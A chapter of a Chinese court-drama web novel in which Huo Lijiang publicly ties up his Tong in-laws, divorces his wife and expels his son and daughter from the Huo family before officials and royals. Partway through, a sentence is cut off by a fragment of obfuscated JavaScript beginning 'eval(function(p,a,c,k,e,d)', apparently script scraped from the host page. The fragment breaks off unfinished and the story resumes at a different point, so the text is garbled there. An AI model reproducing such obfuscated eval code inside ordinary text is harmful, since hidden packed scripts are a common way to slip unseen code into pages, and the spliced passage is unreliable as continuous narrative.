佟大太太看公爹和丈夫都没想出面阻拦就任由婆母和大姑闹,总觉得这样会越闹越糟,急忙扯着小姑顺郡王妃。顺郡王妃佟梦如甩开这娘家大嫂,心累地懒得再多事。 “小姑,梦如,”佟大太太想再劝劝即佟尚书镇定下来准备出面制止老妻和大女儿时,霍漓江没耐性地抢前收拾了:“霍海啸,把佟梦奭和要找事的那几个婆娘处理掉。” 佟梦奭猛抬头,直觉想到祸从天上来,他什么都没出头啊!可霍家能听他的道理吗,霍海啸挥挥手,六名护卫带着麻绳疾跑过去办事,霍雄鹰兴奋地真想亲自出马。 这批护卫出动,准确说是霍漓江话音落下时就对佟老太太的刺激胜过滚烫的热油泼下,顷刻间怒火滔天恨不得都想把这女婿给烧了。就在这片混乱中,阻拦霍振羽的两位护卫将他压制住,被按压着双肩被迫单膝跪地的霍振羽剧烈咆哮像是要把嗓音吼破天际—— “爹你是不是真疯了?!还不快让这群护卫滚开,把我娘放开!” 没顺他意就辱骂亲爹又欲命令父亲做事,好些看客摇头,霍振羽哪还有点人子的体统。还有些看客忽然就懂了,霍振羽不是在作死而是随他外祖家佟家的德行已经疯癫了。 谷王又想哭又想笑地抬起手抹把脸,他都没脸再求皇兄出面调和啊。 霍四奶奶想坚强还是从眼眶里溢出两行清泪,周围圈人连霍桑柔和霍未央这几个小辈都想可怜她了。 霍灵渠黛眉紧蹙,小祐娃娃摸摸姨母的眉头,霍灵渠只得展笑宽慰小祐莫怕。 看客们眨眼间,佟家就剩佟尚书和顺郡王妃还有那群奴婢没被绑。霍家的六名护卫轻而易举踹翻佟家派出来阻挡他们的奴婢,更迅猛地把佟梦奭夫妇和佟老太太佟梦娴母女四个控制住拿麻绳捆住再用布条把嘴巴绑住像扔木头似的扔在地上,那点反抗几乎能忽略。 魏王拿眼瞟瞟晏霁之,意思是英王妃被霍家如此欺辱,毕竟是你生母,你就没点反应? 晏霁之嫌他没事找事:“要不你帮她送霍贵妃病殁?”惹得魏王差点想白他两眼。 被聚焦的场中仍然难看着,被踹翻在地的奴婢们有些还没站起来,被捆绑的五人尤其是佟老太扑腾挣扎得比之前被绑的那群奴婢还厉害。霍蓁蓁看得脑中一片空白,顺郡王妃背脊发凉眼睛发直,曾经在霍家和晏家自视甚高的奴婢们真的有点怕了。 佟图匡被眼前场景刺激得面红耳赤,不可遏止地手掌发颤,活像他的脸皮被当众扒下:“二女婿你是不是真疯了啊,大庭广众公然捆绑官眷,你霍家眼里还有王法吗?” 多数观众甚不以为然地都想帮佟尚书醒醒脑:你们在对峙啊颜面攸关啊,甚至这关系到霍漓江和婆娘之间到底是谁做主,霍漓江若是不把你们打压到底还能得了吗? 但若霍家如此对旁人,佟尚书怕是毫不意外的,晏霁之聊胜于无地想。 霍漓江懒得搭理这老货,霍海啸代为出面:“佟尚书想争辩该去向圣人和陛下哭诉,在霍家人面前逞口舌非但没用还会害你自己也被绑起来,你莫不会以为霍家不敢绑你吧?霍家跋扈又不是一年二年了,二十多年姻亲,你不能对霍家这么不了解吧?” “你、你、你……”佟图匡被气得浑身发抖时被小女儿搀住,佟梦如死死紧抓着父亲的手臂,佟图匡转过头就看见小女儿对他拼命摇头,他刹那间像是紧绷的弦断了,颓丧苦笑。霍海啸见状褒奖:“郡王妃果然懂事识礼,看霍家就没有绑你,对吧?” 佟梦如低着头憋着泪没吭声,佟图匡顷刻被悲凉席卷辛酸不已,霍海啸提醒:“佟尚书可记得管住家眷不要再跑来霍家或者晏家寻衅滋事,否则,你不必担心我们两家会没有理由把你的家眷送进京兆大牢,你更不必担心霍家和晏家会不敢抑或不忍。” 佟图匡慢两拍才仿佛反应过来缓缓看向霍海啸,犹如没听懂地确认:“你说什么?” “晌午前我和晏霁之谈过你,他对你的评价是你很可笑,确是可笑最适合你,但这一刻我还是想用矛盾来形容。”霍海啸没有奚落反而更像探讨:“你不觉得你很矛盾吗? 你毫不怀疑晏家和霍家比佟家强得多,但你偏又认为我们两家能被你佟家肆意拿捏。 对,你是有用手段,但你用的手段却是要让佟家的姑奶奶和外孙们都对佟家死心塌地,你认为捏住他们就能把晏家和霍家都当做你佟家的踏脚石,可一个把外祖家置于自家之前的儿孙还能不被当家人厌弃吗?但你要的又绝不是个被自家厌恶的外孙。 正徽三年,佟家想到个一步登天的招数,自此佟家彻底陷进去。晏霁之挑破你的谋划,你毫不在意;皇后明年辞位,朝中商议继后的人选,贵妃早已明言意欲入主中宫,佟家却偏要在贵妃的眼皮底下肖想淑妃位,明明白白告诉贵妃,佟家想争凤座。 朝堂后宫,败得最早的永远是野心曝露得最早最彻底的人家,你莫非认为你的谋划彻底暴露后还能胜出吗?你看看你家老太太一不顺她意便张口闭口反了,都不用谁挑拨,两位至尊都能顺理成章想佟老太太是想着她能站到太极殿上号令天下醒不过来了吗? 你想笑到最后却连藏都不会,你想让佟家鼎盛,做的却是要把佟家毁掉,你不矛盾吗?你莫非是把姻亲和后宫嫔妃甚至君王都想成了只会按照你佟家的意志行事吗?” 现场逐渐安静,被捆绑的那几位都暂停挣扎了,霍蓁蓁从空白的脑海中慢慢恢复神识。被压制着的霍振羽不屑冷嗤,什么败得最早的是野心曝露得最早最彻底的人家,霍家的野心谁人不知,霍家都敢逼郭皇后辞位了,败了吗?根本是霍海啸在哗众取宠。 班丞相眼神微闪,佟家想到个一步登天的招数?莫非兴献侯夫人母女觊觎凤座闹得霍家和建威侯府撕破脸强抢后位是源自于佟家,而佟家是想趁机螳螂捕蝉黄雀在后? 薄尚书等好些大臣显然都意识到这点了,显国公发笑,难怪佟尚书会建言册封位贵妃平衡后宫;翊善伯叹息,怨不得佟尚书都不阻拦女儿找死。郢国公隐晦瞥眼不远处的建威侯,建威侯果然神情紧绷痛恨着,霍家真不是在故意转嫁建威侯府的恨意吗? “爹,霍海啸自己都矛盾吧?”薛述聪好笑:“他们霍家藏过野心吗?” 显国公顿时嫌他不争气:“皇后要辞位,贵妃想入主中宫很正常,这能叫野心吗?” 薛述聪惊奇,难道他爹脑子卡住了:“爹您没事吧,皇后明年辞位可不就是被——”剩下的话被他爹的够了喝住,显国公耐住脾气忍住火气教导:“什么是野心,是不能处理掉危机还不知死活得偏要去做才叫野心,能安然无恙做成事的叫能耐,懂了吗?” 得知他父皇是在、他没看错的晋王走近听到这话即反问:“岳父是说霍家没有危机?” “当前还没有,圣人和陛下又没不准贵妃晋位,至于将来?自然是将来的事了。” “行吧。”晋王再问他父皇此行的目的,显国公叹惜:“是谷王请动圣人调解霍家和佟家之间的冲突,但霍振羽和佟老太太如此作死,谷王父女的苦心怕是白费了。” 隐在人群中的佟卓伦苦涩低下头,佟图匡怔怔盯着眼前的年轻人,不由自主地嘴唇哆嗦手掌颤动,他握紧拳头稳住心神,咬牙说服自己去对女婿示好。 衙役们抬来长桌放在兴献侯面前,桌面上笔墨纸砚印泥样样俱全。在场众人全注视着,霍漓江拿起笔蘸墨汁准备下笔,霍蓁蓁咬着唇忙看向外祖父和小姨求主意。 佟图匡硬挤出笑意对女婿赔礼致歉:“漓江,女婿啊,梦姿知道错了不会再犯,你看在振羽和蓁蓁的份儿上就原谅她吧,俩夫妻吵架拌嘴是常有的事,这哪能较真。” “佟梦姿嫁给我二十余年算是白嫁了,你我做二十余年翁婿看来更是白做了。”语毕,霍漓江执笔落字,佟图匡注视他两息时间后给外孙女霍蓁蓁使眼色,他当然不怀疑霍漓江是想趁机把岳家威吓弹压住,想得是美啊就看霍漓江能否挺过儿女这关吧。 至于对女婿示好,他都低头了这女婿还不识抬举,他如何能再想对女婿示好?! 霍海啸见此隐有感触地自嘲笑,向小厮要水囊喝水。霍雄鹰扒在长兄耳边怀疑:“大哥,佟老头真的有病吧,你刚说过他会让霍振羽兄妹被咱家厌恶,他又犯了?” “是啊。”霍海啸都想同情晏霁之:“怪不得二十多年他都能坚定地矛盾着。” 察觉到情况的看官们也真是不知该说什么好了,大理寺卿额外想该再备点茶水。 也不只佟图匡给霍蓁蓁使眼色,佟姓诸人和那些奴婢们都在给霍蓁蓁使眼色。霍蓁蓁按着心口让自己不要害怕,找到窍门般往前走步劝:“爹,娘知道错了,” “闭嘴!”霍漓江没抬头,霍蓁蓁信心倍增,再接再厉道:“我知道爹生气,可爹再生气也不能休掉娘啊,你这把岁数休妻还像什么样呀,你就不要跟我娘计较了嘛。” 霍漓江放下笔,休书写好了,再盖个印章就能送京兆衙门办户籍,他反而不急了,抬眼看向霍蓁蓁,警告道:“你若是再闹,你就跟着你娘一起滚出霍家。” 这种话谁信啊,这爹摆明故意想吓唬她,霍蓁蓁简直犹如受到鼓舞般胆量飙涨。 “反正我和我哥都绝不同意你休妻,爹你若非要执迷不悟,我们兄妹就跟娘回佟家,你不收回休妻,我们就不回霍家。想让我们兄妹回霍家,爹你就不要再妄想什么休妻断亲了。”霍蓁蓁快步走到兄长面前戛然止步,不满道:“爹你让这俩护卫在做什么呀?” 霍海啸示意个眼神,压制着霍振羽的两名护卫松手,霍振羽同时抬抬肩膀甩开他们。 在众人的瞩目中站起来,霍振羽眼神凌厉地看向他的父亲霍漓江,他没有嘶吼没有咆哮更没想过何以这会儿他能轻易甩脱护卫的钳制抑或是想当然想他把护卫甩开的。 他很平静却更是有力道令人不得不重视:“蓁蓁说的是,父亲还是不要再胡闹了,倘若你非要闹着休掉我母亲、和我外祖家断亲,我们兄妹就跟娘去佟家改做佟家人。” 满场更静,谷王生生被他整得想抹把辛酸泪,霍四奶奶仰头笑,也没什么受不住的。 顺郡王妃心慌地让爹修补,她真觉得这对兄妹要坏事了,哪有这样威胁父亲的? 佟图匡让女儿镇定,蓁蓁和振羽是强硬过头了,但振羽是霍漓江唯一的嫡子,他就不信霍漓江不妥协。至于霍海啸的提醒,深入骨髓的信念又岂是三言两语能改变? 要不说耳濡目染的影响大,佟图匡这当家人尚且如此想,遑论还被绑着的五位,尤其是佟梦姿放心后狠狠冷笑,她和儿女们就看看霍漓江敢不敢大庭广众抛妻弃儿?! 多数观众们倒都有些麻木了,他们就静静等着看霍漓江发飙吧。 霍漓江注视他十息时间后仿佛甚是可笑地笑了,伸手抓起还没盖章的休书揉成团扔掉,转向佟尚书,笑容恣意而危险,是你明明笑得欢畅但就是会让人感受到你很愤怒,是风暴降临前刻最显著的征兆:“岳父啊,二十多年,我都没叫过你几声岳父。 趁着还有机会,我再叫你声岳父,岳父你看你教得多好啊,我和我哥都绝不同意、爹你若非要执迷不悟、爹你就不要再妄想、父亲还是不要再胡闹了,这兄妹两个多会把自己当霍漓江的老子,我霍漓江二十年金尊玉贵养出来的哪是什么霍振羽霍蓁蓁——” 如同意料中的风暴如期降落,霍漓江漫不经心的语调掐断,积压的怒火爆发,猛烈地犹如翻江倒海而来:“根本是佟振羽佟蓁蓁,是你佟家放在我霍家的马前卒!” 许多看客们想:嗯,正常,霍漓江会暴怒太正常了。 然而佟图匡冷不防是真被吓跳,霍蓁蓁错愕还有点懵懂地转向兄长,霍振羽告诉妹妹:“不必理会,他虚张声势而已。”霍振羽这会儿都有点看不起他这个父亲霍漓江了。 顺郡王妃佟梦如刚觉得被当头一盆冷水浇下就听到他们兄妹的交谈,她好想笑,好想大哭着笑场。霍振羽又没压低声音,离得不远都能听到,晏琼勋真转不过弯来,兴献侯暴怒,霍振羽还认为他爹虚张声势,他这是真有病啊还是脑子不正常? 大理寺卿和京兆尹对视眼又各自错开视线,顺郡王世子弯弯唇微笑,霍雄鹰受不了地要跟他干架被霍海啸拦住,佟图匡定定心神,缓和道:“漓江,女婿啊——” “霍海啸!”霍漓江怒得把他面前的长桌都掀翻了,霍海啸当即从护卫手中拿两条麻绳再扔条麻绳给霍雄鹰,霍雄鹰不带犹豫地疾跑过去跟霍振羽干架。霍海啸则不紧不慢地走过去抓看他们打架看呆住的霍蓁蓁,易如反掌缚住她捆起来绑住嘴扔地上,完事。 霍雄鹰捉地稍微费劲点但他身手比霍振羽强啊,动起真格来想绑人能有多难,一拳拳打地拳拳到肉迫使霍振羽愈战愈难支撑,最后一个飞腿把他踢翻,趁他倒地时控制住捆起来。佟梦姿看得险些飚泪,憋着恶气想霍漓江有种就别再对振羽好?! 佟图匡要出头被顺郡王妃佟梦如拦住:“爹你就让霍家自家人解决吧,二姐他们娘仨终归是要在霍家过活要靠着霍漓江的,就算你这回管了,你又能管得了多少呢?” “好!”年过六十的佟图匡盯着小女儿看好几眼终是苦笑着闭眼低下头,他自是不认为还能再起波澜,好些看客也自然觉得要收尾了,没想到大戏还在后面。 霍漓江吩咐长随:“你现在就带小厮回霍家找老夫人拿佟梦姿嫁进霍家时的嫁妆清单,即刻把佟氏的嫁妆清点出来,今日归还佟家。”再通知京兆尹:“今日就把户籍办好,把佟氏娘仨从霍家划出去,记住把霍振羽和霍蓁蓁改姓佟,他们不配姓霍。” 长随果断应是带着小厮们往府里赶,京兆尹有点迟疑还想做做和事佬,被这位国舅爷像看死人般看两眼后当即不再多事,派两名官差跑回府衙通知少尹准备办事。 被绑着的霍蓁蓁和霍振羽都有种置身在梦境的感觉还回不过神来,佟梦姿憋着怒火中烧倔强着恶狠狠想霍漓江有种就别来求儿子回霍家搞到最后丢尽他自己的脸?! 有些观众震惊霍漓江真连霍振羽都不要了?还有些自觉看懂的观众笑,霍漓江这是要逼佟尚书大出血呀,谷王当然也是这么想的,身在漩涡中心的佟图匡本人就更是了。 霍雄鹰又激动又不敢相信地瞟他大哥想眼神交流交流,霍海啸给他两字:看着。 大理寺卿什么都没多想的让衙役们把长桌翻起来,再准备笔墨纸砚和茶水糕点。 顺郡王妃佟梦如焦灼地扯父亲被佟图匡按压住,她喊爹好几回偏她爹就不当回事。 “爹你到底在想什么,霍漓江若是来真的就来不及了。”佟梦如被憋得直吼,佟图匡近乎以自得的神态让小女儿莫慌:“你二姐夫就怕我们不想他要来真的,急什么。” 霍海啸看他眼,淡淡笑笑,什么都没说。霍雄鹰有疑惑还是保持高冷,稳住了。 衙役们把桌上沾染的墨汁擦干净,新备份笔墨纸砚印泥还周到得把茶水糕点都备来了。 霍漓江端起茶盏喝半杯茶,转身看向佟老头,佟图匡微笑回看这二女婿。 “看来佟尚书真没想阻拦我休妻。”霍漓江挑明,佟图匡正要回击,霍漓江不想听他聒噪地抢先讽刺:“你佟家在滁州的生意做得多热火朝天,你十四年前就是滁州城首富了,你和你婆娘的娘家现今在滁州被誉为佟半城钟半城,可你们公婆对女儿呢? 闺女出阁用八千两备嫁,女儿嫁人就是泼出去的水再没管过她们在夫家的好坏;我一直认为你们公婆俩对三个女儿就是在打发要饭的,今日看来还真是啊,你为群奴婢都愿意拿出一万八千两银子,在女婿要休掉你女儿时你却连跟女婿交涉一下都不愿意。” 原本还觉得佟尚书态度怪异的看客们霎时恍然,佟梦姿愣住,英王妃佟梦娴可能是长姐受父母教育深抑或是没少过银两花用,对此没什么感觉更没把打发要饭的过耳。 顺郡王妃佟梦如心尖颤颤险些眼酸落泪,凄凉地放手时佟图匡猛抓住小女儿的手臂。 佟图匡抓紧小女儿的手臂,冷静反击:“二女婿你这般混淆视听就太不对了,在滁州做生意的是我的弟弟们,我和弟弟们分家都多少年了,难不成我还能用弟弟的家财吗? 梦姿出阁又多少年了,振羽都多大了,二十多年前我拿八千两给女儿备嫁还少吗?梦姿嫁进霍家就是你霍家的媳妇了,我佟家若是给补贴就是在打你霍家的脸,到时你霍家还不是又得长篇大论地来指摘佟家吗?而给奴婢们出的这笔银两能由得我不给吗? 你霍家要撕破脸,我若是不掏这笔银两,霍家什么脏话泼不出来,话都在你霍家那儿,二女婿你做人总不能这么霸道。至于你要休妻就更可笑了,振羽是你唯一的嫡子,你真会休妻吗?你摆明了只是想从岳家拿好处,难道我还要白白任你宰割吗?” 可霍漓江如此暴怒,佟家若再袖手旁观还能平息他的怒火吗?他若不消火,佟梦姿和霍振羽兄妹在霍家还能好过吗?顺郡王妃佟梦如悲凉地笑了,笑得几欲落泪,不同情姐姐外甥只替自己是佟家女悲哀,这父亲再花言巧语,实质就是不在意女儿的好坏。 能明辨的观众都想得明白,甚至不需要什么道理,女儿和女婿闹凶了,女婿要好处才肯罢休,父母若疼爱女儿岂会有不给的?何况佟梦姿是为给娘家出头才和霍漓江闹啊,佟尚书都不愿意替女儿修补还不够让人心寒吗?再狡辩又有什么用,好多人摇头。 霍雄鹰更受不了地狂翻白眼,佟老头这会儿知道他二女儿是霍家的媳妇了,他教唆佟氏拿霍家的好处给佟家时怎么教佟氏她是佟家人,佟老头不要脸得简直无耻。 霍漓江反而没揪着这大漏洞,貌似不解地请教:“你凭什么认定我在装腔,就凭霍振羽是我唯一的嫡子吗?难道我不能再娶妻生子、没有别的儿子了吗?” “你当然还有三个庶子,你当然更能娶继室再生个嫡子,但你有多疼爱振羽和蓁蓁,我还是知道的。他们兄妹在霍家受尽娇惯,在今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可摊到个想吸干夫家的媳妇,我们都忍了。晏墉他娘在世时对佟梦娴教导过将近十年,霍家没那么好耐心,我娘也教导过佟梦姿三四年,结果你们是真不嫌恶心人啊! 没触及家族根本,我们还是忍了,可自正徽三年冬以来你们都闹成什么样了,一年前逼得霍家和建威侯府决裂,建威侯府是这兄妹俩亲祖母的娘家啊。皇后明年辞位,朝中议继后人选,这娘仨死活闹着要霍家给霍蓁蓁争,从没顾念过霍家要担多大风险。 你佟尚书先给陛下建言册封位贵妃平衡后宫,转身就怂恿这娘仨让霍家帮佟家争下贵妃位给霍蓁蓁做助力,他们又巴巴回霍家来闹,当真是不在意霍家会触怒君威啊。晏霁之挑破你佟家的勾当是想踩着霍家和他们兄妹的尸骨往上爬,哪想到啊?!” 霍漓江哈哈大笑,气得眼睛都在喷火:“哪想到告诉他们多少遍,佟家要拿霍家当踏脚石要踩着霍家的尸骨往上爬都挡不住他们要为佟家鞠躬尽瘁,死都挡不住啊!” 人山人海的大理寺衙门前静得落针可闻,佟图匡想镇定偏偏就是忍不住发慌,定住心神迫自己冷静下来,速想对策要争回佟家的名望时又被打乱神智,霍漓江已毫不留情地痛斥:“今年二月里太后给霍蓁蓁相看之后,他们娘仨尤其是霍振羽作得就更了不得了。 非要想成是霍海啸迷惑太后给霍蓁蓁相看想毁掉他的前程,就此恨毒霍海啸。晏霁之跟他讲得明明白白,他们自己没有前程是穆国公执掌的霍家给他们前程,霍家没人对不住他,他当耳旁风,更是当皇太后给霍蓁蓁相看过不存在,满心满眼只盯着要争后位。 我不同意他们再争,他们撇开我自行其是。陛下册封贵妃的圣旨出来,贵妃是霍灵渠、是他们的亲姐姐,他们全然不当回事;霍海啸特意示好想堂兄弟重归于好连外人都看得懂,他给的回应就是在我全然不知时对霍海啸放话霍家嫡两房决裂。 册封贵妃的宫宴上,隐藏在霍家的阴谋揭露,对这桩阴谋的情形,他们一个字没问过;贵妃十多年颠沛流离受尽苦难,他们一个字没关怀过,就盯着要争后位;朝中议继后人选,贵妃明言想入主中宫,他们还是要争,不惜和受尽苦难的亲姐姐斗也要争。 而他这争法就更是了不得了,联合你们佟家盯着晏家要逼晏霁之来帮他们争,佟梦娴拿晏霁之的亲事威胁被晏墉挡住了暂时没起效,他就和你们佟家人带着佟梦娴来告晏霁之不孝活生生地想毁掉晏霁之,晏霁之这表哥二十年来有什么对不住他啊? 甚至霍海啸在今年以前又何曾对他不好过?没有啊,霍海啸和晏霁之谁对他不好过,就是没顺他的意帮他争夺继后的宝座,他就要恨毒堂哥表哥不惜毁掉他们!” “漓江,漓江,振羽他还小他还不懂事,他就是一时糊涂,”佟图匡被吓得心惊肉跳,不能再由着他发飙了要阻拦时再被打断,霍漓江指这老货狠狠骂放屁,怒目圆睁,气得脸红脖子粗青筋直暴直喘粗气:“他还是三岁小孩还连个孝字都不会写是吧? 我不同意给蓁蓁再争继后位,他丝毫不理;霍海啸对他示好,他变本加厉竟然越过我对霍海啸放话霍家嫡两房决裂,目无尊父更没有家族之念就盯着他自己要做国舅爷。 还有今日他带着佟梦娴过来做的这事,晏家若是什么都不清楚能让我和晏墉直接成仇,他顶着霍漓江唯一的嫡子身份给他爹招惹仇恨利索了,他对他爹又是什么态度? 霍振羽眼中还有父亲吗,威胁老子信手捏来甚至都不拿霍漓江当他老子而是把霍漓江当孙子,他被绑起来前说的‘不必理会,他虚张声势而已。’你告诉我几个意思,是霍振羽对于父亲发怒根本不屑一顾还是我霍漓江发飙在他眼里是跳梁小丑啊? 我供他们兄妹享尽荣华富贵就得到个他们拿我当孙子看拿我当仆从使唤?霍振羽现在对父亲还有丝毫孝敬吗?你告诉我,是霍振羽根本不会孝敬父亲更不懂对父亲和家族感恩,他只会给他娘和你佟家做狗,我就不跟他计较,你说得出来吗?” 安静如死狗,沉默或许比起哄更能令当事人难堪。 霍蓁蓁懵里懵懂脑袋泛空,霍振羽脸涨得比烧红的铁滚烫,佟梦姿忽然不知所措。 佟图匡不受控制地背脊往前往下倾斜呈现出老年人的佝偻,右手不停地颤抖,他好像还能听见心脏砰砰砰乱跳震出的回音。他颤巍巍地伸出不抖的左手想要握住右手,脑海中好像有个声音在说握住右手不颤抖就是胜利,他就能泰然应对霍漓江的攻击。 顺郡王妃疲惫得不想再管她爹,霍漓江注视他会儿,诛心道:“我纠正一点,倘若佟家和这对兄妹走到最后的争夺,他们绝不是佟家的马前卒而是你佟家的掘墓人。” 佟图匡愣下,未经思索地抬头看向他,霍漓江笑起来,熠熠神采似有魔力能将人吸入:“在今日以前我从未想过霍振羽是抱着把佟家当踏脚石的心思,我真以为他对你佟家死心塌地连死都挡不住他要效忠佟家,刚刚我才意识到是我想错了。 一个对父亲毫无孝敬之念的人真会孝顺母亲吗?不过是母子之间还没有冲突而已。对亲生父母尚且如此,更遑论外祖家。不是霍振羽不相信佟家想踩着他们兄妹的尸骨往上爬而是佟家对他有用,我和霍家不肯再给霍蓁蓁争继后位,他只能盯着晏家。 可他又没办法越过佟家或者撇掉佟家来拿捏英王妃去操纵晏霁之给他们兄妹冲锋陷阵,故而他没得选只能和你佟家亲厚。但假若你们能走到最后的争夺,看看他对他认为碍着他的堂哥表哥的狠辣,以他的权欲熏心六亲不认,佟家怎么可能还会有例外? 你们佟家又是全家老少都自负把霍振羽捏在手掌心里,佟家对他毫无防备,而他可是自始至终都清楚佟家想除掉他,最终谁赢谁输不是一目了然吗?” 众人心惊,佟梦姿连霍振羽自己都怔愣住,晏霁之垂眸若有所思,谷王妃握紧丈夫的手而谷王真有点慌啊,皇帝不经意间和魏王还有太上皇老爹对视眼。 果敢善断的看官们轻易辩证出霍漓江的推断没问题,佟家人尤其是佟梦奭和佟图匡认定霍漓江是在挑拨离间都忍不住深想更不禁毛骨悚然,佟图匡的心直往下沉。 但面上,佟图匡肯定要维护:“漓江,你总不能你霍家阴狠诡谲就看外人全是邪祟吧,振羽是我这外祖父看着长大的,我很清楚振羽有多乖巧孝顺正直纯良;你是振羽的亲爹啊,你怎能只因被孩儿顶撞下就如此诋毁自己的亲儿,你还有点做父亲的样吗?” 霍雄鹰真受不了他了,晋王和好多看客也受不了了,佟尚书真不想要脸了是吧,你指摘霍家阴狠诡谲就不适用霍振羽了,霍振羽就成外人了?何况霍振羽什么德行,谁还没点数,你拿大家当傻瓜看不是在给霍家泼脏水而是让你佟家的名声更臭啊。 其实不是佟图匡想给佟家火上浇油,是他习惯使然,下意识就想要把女婿姻亲压制住,恰如他想要的绝不是被自家厌恶的外孙但就是坚定贯彻要让外孙们被自家厌恶。 霍漓江倒是淡定:“既然你如此相信你的外孙,我就祝你们能一直相亲相爱,佟梦姿带着这双儿女回归佟家后你们和佟振羽佟蓁蓁仍然能亲密无间,你佟图匡三十年来汲汲营营想把世事都捏在股掌之间不至于白日梦一场连你如此信赖的佟振羽都捏不住。” 佟图匡一惊,没来得及说什么有何动作,霍家的护卫已用麻绳捆住他且绑住他的嘴巴,唯一和倒地几位不同的是没把他推倒,算是给他礼部尚书留的最后点体面。顺郡王妃佟梦如惊悚地跌退好几步,佟图匡怒得头顶冒烟眼中喷火,无声咆哮着你们怎么敢? “霍家重骨肉亲情,但该狠的时候绝对会狠下心肠。”霍漓江想果然没有佟老头聒噪让他的耐性都好多了:“我今日既舍掉这娘仨就是彻底不要了绝不会留情,你们若是再来霍家闹,我必定全部送京兆大牢,你不嫌难看想去牢里领你的家眷尽管放纵他们。 还有,若是过个一年半载乃至几个月后佟家要陪这对兄妹再来大理寺状告我霍漓江对他们不慈、告霍家欺压他们,不如今日就告,你也好趁早改口,说你刚才说错了,这对兄妹在霍家时不是享尽荣华富贵受尽娇惯而是饱尝困苦,他们没错全是别人的错!” 语毕,霍漓江转身执笔落字写休书,顺郡王妃佟梦如受不住地眼冒金星耳朵嗡嗡作响,顺郡王世子心狂跳,霍漓江若是连霍振羽都不要了,他爹必定要跟佟梦如和离。 霍雄鹰总算感觉能出出恶气了,围观的看客们可许多都还有点回不过神来,多少人相信霍漓江就是想从佟家拿好处而非真要把霍振羽兄妹舍掉?霍漓江再厌恶霍振羽都跟他要把这唯一的嫡子舍掉不是一回事,大家的观念里就没有这种做法,他真不要了? 谷王猛打冷颤,他没脸再请皇兄调解霍家和佟家间的冲突都赌不起霍漓江要把霍振羽都逐出霍家,几乎要跪下来求:“皇兄您拦一拦兴献侯吧,臣弟知道请您管国舅的家事不妥,国舅想和佟家断亲想休妻,我都没话,但真不能连嫡亲的儿女都不要啊……” 太上皇叹息:“你让丞相和穆国公做个说客陪你与兴献侯谈谈,让兴献侯三思。” 谷王连忙谢过恩正要挤过去找班相和穆国公时,他女儿抱着灿哥儿和霍贵妃突然过来,霍灵渠沉声道:“四弟妹请求我阻拦我爹不要把霍振羽兄妹逐出霍家,我给她的建议是她能和佟振羽过佟家的日子就过,不能过就和离;她想好了,她要带着灿哥儿和离。” 周围圈人措不及防真被惊了惊,皇帝和太上皇都没想过让霍振羽夫妇和离,谷王妃饶是再不满那女婿都还没动让女儿和离的念头,年轻的湘王神情古怪地打量这表姐。 “向来是劝和不劝离,贵妃怎么会想让弟妹跟亲弟弟和离?”太上皇问。 晋王和薛述聪夫妻俩紧随挤过来明显是来看戏,霍灵渠冷硬极了:“我没有劝离,我只是给个建议,我倒是不懂何以连圣人您都有意让我爹留下霍振羽兄妹?你们没看见佟梦姿、霍振羽和霍蓁蓁那么明确地表态,他们不愿做霍家人要改做佟家人! 我爹成全他们不是正合他们心意吗?假若他们只是威胁我爹,我们父女又凭什么宽容,是霍振羽和霍蓁蓁活到现在连个孝字不懂还是根本没想过孝敬父亲,佟家再会蛊惑,他们对父亲若有孝心就绝不会是那种态度,我霍家二十年荣华富贵养出来两个什么呀? 我带着桑柔走到家门前都没回家就是不想毁掉弟弟妹妹的人生,他们还给我的是什么,是把我爹当孙子还是为一己私欲都做得出毁掉霍家,合着我和桑柔就活该离家颠沛十多年吗?想做佟家人就滚出霍家,我告诉圣人您,我对他们没有丝毫的怜悯不忍。” 湘王若有动容般黯然低头,晋王莫名烦躁得都懒得想用霍振羽兄妹对付霍家了,正徽帝嬴忱璧就贵妃言辞冲撞圣人向父皇赔不是,太上皇示意没事,顺势同意侄女和离。 传言,龙有逆鳞,触之必死。晏霁之想父亲和霍桑柔还有霍家就是霍灵渠的逆鳞吧,霍振羽和霍蓁蓁把霍灵渠的三个禁忌都触犯了,让最能挽救他们的人都放手了。 104. 第104章 今日对许多人大概都是场颠覆。 霍漓江把休掉佟梦姿且将佟氏生的儿女逐出霍家的休书写好,盖上印章,休书生效。 霍海啸接过他叔的休书欣赏,刚看眼就被霍雄鹰抢过去,他们哥俩都看过,派两名护卫把休书送往京兆府衙办户籍,被惊的云里雾里的观众仿佛才逐渐回神。 直觉就不相信、怀疑霍漓江在耍诈的观众们猜他还会派人把休书追回来吧? 将信将疑的观众们总觉得不至于,闹到这地步,霍漓江若是还要自我打脸还能在妻儿和岳家面前抬起头来吗?但要让他们相信霍漓江真能就此舍掉霍振羽,他们又犹豫。 性情果决的观众们就没什么犹豫不信,霍漓江都把佟尚书绑起来了,摆明不想再谈,何况霍家都把休书送去办户籍了。唯一的嫡子又如何,厌恶与逐出家族能差多少,霍漓江既然已经彻底厌恶霍振羽,把他逐出霍家不过是把最后的遮羞布扯掉而已。 娉姨娘和霍鸳娇姐弟痛快啊,看这娘仨今后还怎么狂?! 侯瞻渥心焦,他懒得猜霍漓江是想把妻儿和岳家都踩到脚底还是真要休妻连儿女都要逐出霍家,他就看霍漓江真的狠啊,对着有二十多年情份的妻子和嫡亲儿女都能这么狠心,对他的阿柔还能手下留情吗?拽着他爹狂摇非要他爹同意让他去找阿柔。 武襄侯头疼,他能理解霍漓江对佟家的深恶痛绝乃至要休妻,但真的不能苟同霍漓江要把两个涉世未深的儿女逐出霍家,孩子们若行差踏错,家长们自该板正教导,岂能孩子们一有偏差就将他们抛弃,但凡还有人情味的人家就做不出这种事,霍家是真冷血啊。 佟图匡就坚定不信,当他不清楚霍漓江有多疼爱这双儿女吗?霍漓江绝无可能真和振羽计较,更遑论休妻,要把振羽和蓁蓁都逐出霍家更是天方夜谭,当前不过是在装腔乃至就是振羽点出的虚张声势而已,非要搞到自己在妻儿面前低三下四的也不嫌丢人。 他这般作想,不管他是真坚定还是自欺欺人,他这般作想,鄙夷的眼神随之带了出来。他就抬着下巴斜起眼鄙夷讥诮着霍漓江,跟之前霍振羽吐出‘不必理会,他虚张声势而已。’时的神态虽不相同却是异曲同工,附近的旁观者们:“……” 懒得理会他的几位纷纷调转自己的视线,晏琼勋打量他好几眼后想佟尚书真的有病吧。霍雄鹰抓狂啊忒想把这老头暴揍顿,难受的是还不能揍他,只能把拳头捏得咯吱响。 